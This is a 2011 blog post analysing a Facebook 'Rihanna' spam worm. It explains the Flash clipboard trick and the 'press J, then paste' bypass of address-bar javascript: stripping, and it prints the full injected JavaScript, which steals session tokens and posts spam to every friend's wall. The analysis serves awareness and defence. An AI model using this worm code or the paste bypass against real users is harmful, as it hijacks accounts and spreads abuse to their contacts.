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Technical insights of a web geek

Analyzing the new “Rihanna” Facebook spam

rihanna-7Some of you might have seen a fast spreading spam on Facebook with the name “Rihanna” (named after the popular singer/recording artist), as in the screen shot. We have been seeing several spam messages on Facebook these days and it appears this is yet another social engineering trick by spammers.

However, the speed at which it is spreading definitely boasts about the good success rate of the spam and to its credit, this “wall flooding” spam has some interesting technical learning.

1. This is not based on Clickjacking, though a non-clickable video icon appears misleading.

2. Unlike many spams, this does not leave and navigate to a new domain. It spreads through facebook pages itself, which is convincing.

3. It lures the user to paste code in browser’s address bar convincingly (old wine in new bottle).

Overview: On clicking the spam post (link is in the above screenshot), the user will be redirected to attacker’s facebook page as shown in the screenshots below. Initially a youtube like video appears (this is a “.swf” file which plays the key role). After a few seconds, It changes itself into a “security check” text with “continue” button as in the pic. On clicking the “continue” button, the 3 convincing instructions appear, following which a malicious JavaScript is injected into the active window. The injected malicious script posts the above message and obscene images on the wall of ALL friends of the user!


Technical details:

Once the user follows all the instructions, the JavaScript snippet shown below is injected into the browser, which has “src” attribute pointing to the actual malicious .js file (masked the url in the screenshot & snippet). In fact, this is a commonly used technique for creating bookmarklets and adding them to your browser’s bookmarklet toolbar. When used maliciously for attracting users to perform undesirable action, it is referred to as “Socially engineered XSS attack”. 


This .js file has the logic for doing all the harm but there doesn’t end the matter. The unanswered questions are, how did this script get into user’s clipboard? The user never copied any code snippet manually and browsers’ sandbox model doesn’t allow cross domain JavaScript to access clipboard without explicit permission. Also, what is the need for the inquisitive instruction “Press J on your keyboard”?

1. On analyzing the source of the above facebook page using browser developer tool bars (IE Dev toolbar, Firebug etc), one can see an iframe which points to attacker’s external website (looks like the attacker maintains several malicious domains).

2. Now, inspecting the source of the attacker’s external webpage shows that it embeds a flash (.swf) file which mimics genuine youtube video.

3. Going a step further, inspecting the source of this “.swf” file (using one of the online flash decompilers) gives the code which does the actual harm! It has a timer which changes the youtube like image to the security check screen. On clicking the “continue” button, the below action script is triggered, which intuitively sets text to clipboard.

//This is action script code from attacker's ".swf" file.
on (release) {

Notice the first word of the text which is being set into the clipboard, “avascript:”. It is NOT a typo. It should actually be “javascript:” but the letter “j” is omitted for a rather compelling reason!

“JavaScript:” prefix and modern browsers:

Much to the annoyance of spammers, modern browsers implemented a less known but very interesting security feature. Any code with “JavaScript:” prefix pasted into the address bar will get the prefix stripped off, thereby preventing script execution. Internet Explorer 9 pioneered this and recently other browser vendors came up with their own implementations.

//Copy this JavaScript snippet, open IE9 and paste in address bar.
//You will notice that the "javascript:" prefix will be magically stripped off!

Coming back to the “.swf” file, to bypass the above browser defense mechanism in some popular browsers, the letter “J” of JavaScript is omitted while setting the script to clipboard. So the spammers cleverly asked the users to first press the letter “J” and then press “Ctrl+V” and hit enter. This completes the full snippet with “javascript:” prefix thereby bypassing prefix stripping. Isn’t this smart? Though this extra step is expected to reduce success rate of attacks, it somewhat increased the curiosity of users.

NOTE: Internet Explorer 9 doesn't even allow combinations like typing "j" and pasting "avascript:alert('hi');" in the address bar. So this attack will fail in IE9! YaY!!

Chrome 16.0.912.41 in my machine strips the "javascript:" prefix when "javascript:alert('hi');" is pasted directly, but allows typing "j" and pasting "avascript:alert('hi');".

For the curious folks, here is the entire JavaScript code injected by the attack. It executes in the context of user’s facebook window with full previleges!

var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u2qr0v_15&xhpc_targetid=' + friends[i]['uid'] + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=Oh%20my%20god%2Ccheck%20this&xhpc_message=Oh%20my%20god%2Ccheck%20this&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320585896&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '&';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
document['getElementById']('contentArea')['innerHTML'] = '<center><br><br><br><br><br><img src="" /><br />Please wait...</center>';
setTimeout('top.location=\'\';', 20000);

There are several variants of this spam residing at different URLs in facebook pages. Facebook has been blocking these variants one by one and by the time of writing this post even the url in the pic is blocked.

Hope this article helped in understanding how spammers think and gave a feel of the damage that can be done by simple games/apps on the web, if you are not careful. Do share this with your friends and increase awareness.

Happy & secure browsing :)

Comments (3) -

  • Rajasekharan V

    11/11/2011 8:53:55 AM |

    Great analysis Krishna! Loved it!

  • NovoGeek

    11/11/2011 11:05:37 AM |

    Thanks a lot Raj Smile Was amazed at the effort put by spammers for making such a simple attack so convincing!

  • Thejesh GN

    11/11/2011 11:58:57 AM |


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